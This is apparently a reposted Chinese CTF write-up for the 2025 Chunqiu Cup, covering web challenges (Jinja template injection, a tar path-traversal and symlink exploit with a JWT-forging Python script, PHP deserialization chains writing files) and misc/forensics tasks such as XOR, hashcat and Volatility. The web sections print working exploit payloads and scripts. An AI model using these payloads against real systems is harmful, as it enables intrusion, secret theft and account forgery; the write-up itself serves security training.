当前位置: 首页 > article >正文

25春秋杯wp

春秋杯

图片不显示的去我blog找👇

25春秋杯 | DDL'S BLOG

文章所有内容部分来自自己写的,部分来自各路非公开wp,部分来自公开wp(附上链接,在文章末尾)

easy_flask

{
 
 {().__class__.__mro__.__getitem__(1).__subclasses__()[133].__init__.__globals__['popen']('cat+flag').read()}}
{
 
 {[].__class__.__base__.__subclasses__()[394]('cat /app/flag',shell=True,stdout=-1).communicate()[0].strip()}}

copy

https://github.com/synacktiv/php_filter_chains_oracle_exploit?tab=readme-ov-file
python3 filters_chain_oracle_exploit.py --target  http://eci-2ze17shnva9hcdar8b2n.cloudeci1.ichunqiu.com --file '/flag' --parameter path

思路是对的,跑不出来

Gotar

漏洞分析,追踪upload控制器,最下边的extractTar调用了extractDir,

分析调用,extractDir、extractSymlink、extractFile三个函数都调用了outputPath

可以构造恶意路径如:exp/../exp.txt 经过outputPath函数处理后,最终路径位../exp.txt 实现目录遍历漏洞👇

mkdir exp
echo "hack" > exp/secret.txt
tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/secret.txt```

login里面有重新加载env的代码,直接用·

import jwt
import datetime
import os
import tarfile
import sys
import requests
import random
import string
​
def generate_random_string(length):
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))
​
def send_request(session, method, path, data=None, files=None, headers=None):
    url = f"http://{session.url}{path}"
    response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'})
    return response
​
​
def generate_jwt(user_id, is_admin, jwt_key):
    expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
    claims = {
        'UserID': user_id,
        'IsAdmin': is_admin,
        'exp': expiration_time
    }
    token = jwt.encode(claims, jwt_key, algorithm='HS256')
    return token
​
def create_malicious_tar():
    # Create the directory and .env file
    os.makedirs('exp', exist_ok=True)
    with open('exp/.env', 'w') as f:
        f.write("JWT_SECRET=hack")
​
    # Create the tar file with the path traversal
    with tarfile.open('hack.tar', 'w') as tar:
        tar.add('exp/.env', arcname='exp/../../../.env')
​
def exp(url, token):
    payload = "echo `cat /flag` > /var/www/html/public/flag.txt"
​
    session = requests.Session()
    session.url = url
​
    random_string = generate_random_string(4)
​
    user_data = {
        "username": random_string,
        "password": random_string
    }
    response1 = send_request(session, 'POST', '/register', data=user_data)
    if response1.status_code != 200:
        return "Failed to register"
    response2 = send_request(session, 'POST', '/login', data=user_data)
    if response2.status_code != 200:
        return "Failed to login"
​
    with open('hack.tar', 'rb') as f:
        files = {'file': f}
        response3 = send_request(session, 'POST', '/upload', files=files)
        if response3.status_code != 200:
            return "Failed to upload malicious tar file"
        print("Malicious tar file uploaded successfully")
​
    # 触发加载环境变量
    send_request(session, 'GET', '/login')
    headers = {
        'Cookie': f'token={token}'
    }
    response4 = send_request(session, 'GET', '/download/1', headers=headers)
    return response4.text
​
if __name__ == "__main__":
    create_malicious_tar()
    print("Malicious tar file created: hack.tar")
​
    jwt_key = "hack"
    user_id = 1
    is_admin = True
​
    token = generate_jwt(user_id, is_admin, jwt_key)
    print("Generated JWT:", token)
​
    URL = sys.argv[1]
    flag = exp(URL, token)
    print(flag)

挣扎了一下还是算了,go语言不会,粘个*LAMENTXU* *WRITEUP*

直接看核心逻辑解压了tar文件之后可以直接访问。一眼顶针软连接
ln -sf /flag flag
tar cf flag.tar ../../flag
提交,访问/assets/extracted/flag即可(我感觉这个像是非预期)
​
另一种解法是读取env里的jwt密钥伪造admin用户出
ln -sf ../../../.env 2/envlink
tar -cvf 3.tar 2/envlink
打包传上去,访问拿到jwt_secret,伪造1admin为true即可
Jwt:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySUQiOjEsIklzQWRtaW4iOnRydWUsImV4cCI6MTczNzE4ODA1Mn0.FRDw-GypUzmiA1QxYShpGNpiQEjZAhZz19GQGJFgYms
flag{b1f79e3a-12f5-46d5-9574-d09068a3ecca}

easy_ser

源码

听说pop挺好玩的
<?php
//error_reporting(0);
function PassWAF1($data){
    $BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec",  "pcntl_exec", "passthru", "popen", "putenv");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}
​
function PassWAF2($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}
​
function PassWAF3($data){
    $BlackList = array("\.\.", "\/");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}
​
function Base64Decode($s){
    $decodeStr = base64_decode($s);
    if (is_bool($decodeStr)) {
        echo "gg";
        exit(-1);
    }
    return $decodeStr;
}
​
class STU{
​
    public $stu;
    public function __construct($stu){
        $this->stu = $stu;
    }
​
    public function __invoke(){
        echo $this->stu;
    }
}
​
​
class SDU{
    public $Dazhuan;
​
    public function __wakeup(){
        $Dazhuan = $this->Dazhuan;
        $Dazhuan();
    }
}
​
​
class CTF{
    public $hackman;
    public $filename;
​
    public function __toString(){
​
        $data = Base64Decode($this->hackman);
        $filename = $this->filename;
​
        if (PassWAF1($data)) {
            echo "so dirty";
            return;
        }
        if (PassWAF3($filename)) {
            echo "just so so?";
            return;
        }
​
        file_put_contents($filename, PassWAF2($data));
        echo "hack?";
        return "really!";
    }
​
    public function __destruct(){
        echo "bye";
    }
}
​
$give = $_POST['data'];
if (isset($_POST['data'])) {
    unserialize($give);
} else {
    echo "<center>听说pop挺好玩的</center>";
    highlight_file(__FILE__);
} 

代码分析

  1. waf1是个过滤关键字

  2. waf2坏在一句话上,这就得保证代码在16字符以内

    • $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
    • sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string):格式化输出当前处理的数据:

      • %08x:以 8 位十六进制格式输出 $count,并在前面补充零。用于显示当前行的字节偏移量。

      • %-40s:输出十六进制字符串 $hex_string,并确保它的宽度为 40 个字符,左对齐。

      • %-16s:输出 ASCII 字符串 $ascii_string,并确保它的宽度为 16 个字符,左对齐。

      • \n:每行末尾添加换行符。

  3. waf3就过滤俩字符

    • ..和/

所以目的就是写文件,写个读取根目录flag的文件出来,保证码的内容16个字符以内

脚本

<?php 
class STU{
public $stu;
}
class SDU{
public $Dazhuan;
}
class CTF{
public $hackman;
public $filename;
}
$c=new CTF();
$c->filename="a.php";
$c->hackman="PD89YGNhdCAvZipgOw==";
$b=new STU();
$a=new SDU();
$b->stu=$c;
$a->Dazhuan=$b;
echo serialize($a);

image-20250118235909367

image-20250118235947419

easy_code

6.66999999999999999999999999999999999999999e2 = 667.00000000000000000000000000000000000000000。
在浮点数表示中,667.000... 会被自动四舍五入为 667,即去除多余的小数部分。
Hackbar里设置cookie为pass=admin
Include那里使用php://filter配合convert.iconv修改字符集使用
file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php

python jail

import base64
from random import randint

with open("flag", "r") as f:
    flag = f.read()

BOX = [randint(1, 9999) for _ in range(624)]
print("Give me your solve:")
user_input = input().strip()

try:
    user_code = base64.b64decode(user_input).decode()
except Exception:
    print("Invalid base64 input")
    exit(1)

assert len(user_code) <= 121, "Input exceeds maximum allowed length"

exec_globals = {"__builtins__": None}
exec_locals = {}

try:
    exec(user_code, exec_globals, exec_locals)
except Exception:
    print("Error")
    exit(1)

s = exec_locals.get("s", None)
if s == BOX:
    print(flag)
else:
    print("Incorrect")

book

留个

<?php

class Book
{
    public $id;
    public $title;
    public $author;
    public $summary;
    public $reader;
}

class Reader
{
    public function __construct($location)
    {
        $this->location = $location;
    }

    public function getLocation()
    {
        return $this->location;
    }
    private $location;
    public function getContent()
    {
        return file_get_contents($this->location);
    }
    public function setContent($content)
    {
        file_put_contents($this->location, $content);
    }
}

$book = new Book();
$book->id = 'kengwang_aura';
$book->title = 'test';
$book->author = 'test';
$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partB = 'Reader';
$partC = 'location";s:14:"books/shel.php";}};';
$payload =  $partA . "\x00" . $partB . "\x00" . $partC;
$length = strlen($partA) + strlen($partB) + strlen($partC) + 2;
echo "[+] Payload length: " . $length . "\n";
$book->summary = str_repeat('\'', $length) . $payload;
$book->reader = new Reader('books/' . 'abc');
function waf($data)
{
    return str_replace("'", "\\'", $data);
}
echo "[+] Summary: ";
echo urlencode($book->summary);
$res = waf(serialize($book));
echo "\n[+] Serialized payload: ";
echo base64_encode($res);
echo "\n";
$newBook = unserialize($res);
echo "[+] Location: ";
echo $newBook->reader->getLocation();

misc

简单算数

# 给定的加密字符串
encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b"

# 尝试不同的密钥
for key in range(256):  # 遍历所有256个可能的字节值
    decrypted_str = ''.join(chr(ord(c) ^ key) for c in encrypted_str)
    print(f"Key: {key} -> {decrypted_str}")

或者

# 加密字符串和目标flag(假设目标flag是CTF{...}的形式)
encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b"
target_flag = "flag"  # 假设flag是'flag'

# 将目标flag和加密字符串的每个字符转换为ASCII值
encrypted_ascii = [ord(c) for c in encrypted_str]
flag_ascii = [ord(c) for c in target_flag]

# 找到密钥(通过目标flag字符的异或操作得到密钥)
key = [encrypted_ascii[i] ^ flag_ascii[i] for i in range(len(target_flag))]

# 打印密钥,密钥字符
print("密钥的ASCII值:", key)
print("密钥对应的字符:", ''.join(chr(k) for k in key))

# 使用密钥解密加密字符串
decrypted = ''.join(chr(encrypted_ascii[i] ^ key[i % len(key)]) for i in range(len(encrypted_str)))

print("解密后的字符串:", decrypted)

See anything in these pics?

在线阅读Aztec条码

image-20250119122520012

image-20250119122824084

放随波涿流跑一下直接出(改长宽

image-20250119130301359

flag{opium_00pium}

通往哈希的旅程

hashcat -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
flag{18876011645}

法二

https://www.somd5.com/

直接去这里面查

小hash

flag{game_cqb_isis_cxyz}

简单镜像提取

flag{E7A10C15E26AA5750070EF756AAA1F7C}

压缩包

import zipfile
import os
import base64
import re


def read_password_file(password_file):
    """读取并解码密码文件"""
    with open(password_file, 'r') as f:
        content = f.read().strip()
    # Base64解码
    decoded = base64.b64decode(content).decode()
    return decoded


def extract_zip(zip_path, password):
    """解压zip文件并返回解压出的zip文件路径(如果存在)"""
    dir_name = os.path.dirname(zip_path)

    with zipfile.ZipFile(zip_path) as zf:
        zf.extractall(path=dir_name, pwd=password.encode())
        extracted_files = zf.namelist()

    # 查找解压出的zip文件
    for file in extracted_files:
        if file.endswith('.zip'):
            return os.path.join(dir_name, file)
    return None


def collect_all_passwords(start_zip):
    """收集所有解压过程中的密码"""
    current_zip = start_zip
    passwords = []
    processed_files = set()

    while current_zip and os.path.exists(current_zip):
        if current_zip in processed_files:
            print(f"警告:发现重复的zip文件 {current_zip},停止处理")
            break

        processed_files.add(current_zip)

        # 从文件名中提取数字
        current_number = re.search(r'(\d+)', os.path.basename(current_zip)).group(1)
        password_file = f'password_{current_number}.txt'

        if not os.path.exists(password_file):
            print(f"密码文件 {password_file} 不存在,停止处理")
            break

        print(f"处理: {current_zip}")
        print(f"使用密码文件: {password_file}")

        try:
            password = read_password_file(password_file)
            passwords.append(password)
            print(f"解码后的密码: {password[:20]}...")  # 只显示前20个字符

            # 解压文件
            next_zip = extract_zip(current_zip, password)
            if next_zip:
                print(f"发现新的zip文件: {next_zip}")
                current_zip = next_zip
            else:
                print("未找到更多的zip文件,处理完成!")
                break

        except Exception as e:
            print(f"处理出错: {str(e)}")
            break

    return passwords


def clean_password(password):
    """清理密码中的非十六进制字符"""
    return ''.join(c for c in password if c in '0123456789ABCDEFabcdef')


def create_png_from_passwords(passwords, output_file="flag.png"):
    """从密码列表创建PNG文件"""
    # 反转密码列表(因为需要从最后一个开始)
    passwords = passwords[::-1]

    # 清理并组合所有密码
    cleaned_hex = ''
    found_png_header = False

    for password in passwords:
        cleaned = clean_password(password)
        if '89504E47' in cleaned.upper():
            print("找到PNG文件头")
            found_png_header = True
        if found_png_header:
            cleaned_hex += cleaned

    print(f"处理后的十六进制数据长度: {len(cleaned_hex)}")

    try:
        # 确保长度是偶数
        if len(cleaned_hex) % 2 != 0:
            cleaned_hex = cleaned_hex[:-1]

        # 转换为二进制数据
        binary_data = bytes.fromhex(cleaned_hex)

        # 写入PNG文件
        with open(output_file, "wb") as f:
            f.write(binary_data)
        print(f"成功创建PNG文件: {output_file}")

        return True
    except Exception as e:
        print(f"创建PNG文件时出错: {str(e)}")
        return False


def main():
    """主函数,执行完整的处理流程"""
    # 起始文件
    start_zip = "zip_98.zip"

    print("步骤1: 开始收集所有密码...")
    passwords = collect_all_passwords(start_zip)

    if not passwords:
        print("未收集到任何密码!")
        return

    print(f"\n步骤2: 共收集到 {len(passwords)} 个密码")

    print("\n步骤3: 开始生成PNG文件...")
    if create_png_from_passwords(passwords):
        print("\n处理完成!请查看生成的flag.png文件")
    else:
        print("\n生成PNG文件失败!")


if __name__ == "__main__":
    main()

image-20250117114159520

ez_forensics

语法
python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan|grep zip

查文件

python2 vol.py -f /home/kali/Desktop/ezforensics.raw --profile=Win7SP1x64 filescan -Q  XXXX -D .

提取文件

python2 vol.py -f ezforensics.raw --profile=Win7SP1x64 hashdump

查hash

image-20250119171937783

image-20250119171912418

findme

image-20250119181029378

参考

官方1

https://mp.weixin.qq.com/s/IhJiiZKWtp1wS7qAIZer-A

官方2

https://mp.weixin.qq.com/s/xUNRwOoYWRfNm5iZ1RKeKw

http://www.kler.cn/a/512094.html

相关文章:

  • QLineEdit 在文本发生变更时触发事件几种方式详细说明
  • C# LINQ(Language Integrated Query)详解
  • 回归算法、聚类算法、决策树、随机森林、神经网络
  • Oracle 可观测最佳实践
  • 事务处理系统 (Transaction Processing System, TPS)
  • 如何下载对应城市的地理json文件
  • Unity Shader学习日记 part5 CG基础
  • 02_登录窗口
  • leetcode 62. 不同路径
  • CentOS 7中 分区工具fdisk的常用命令【解释来自gpt】
  • PHP For 循环
  • 【RabbitMQ】rabbitmq广播模式的使用
  • Ubuntu 完整卸载 WPS Office (deb包安装版)
  • 【C++篇】红黑树封装 实现map和set
  • 机器人“大脑+小脑”范式:算力魔方赋能智能自主导航
  • C# OpenCvSharp 部署文档矫正,包括文档扭曲/模糊/阴影等情况
  • 【数据库初阶】MySQL中表的约束(上)
  • Python基于OpenCV和PyQt5的人脸识别上课签到系统【附源码】
  • Navicat 导出表结构后运行查询失败ERROR 1064 (42000): You have an error in your SQL syntax;
  • Vue3轮播图左右联动
  • Astropay之坑
  • IJCAI-2024 | 具身导航的花样Prompts!VLN-MP:利用多模态Prompts增强视觉语言导航能力
  • 【TVM教程】为 ARM CPU 自动调优卷积网络
  • WPF MVVM 模式如何监听IsVisibleChanged 事件
  • AI预测福彩3D采取888=3策略+和值012路+胆码预测2025年1月20日新模型预测第1弹
  • OSCP - Proving Grounds - BullyBox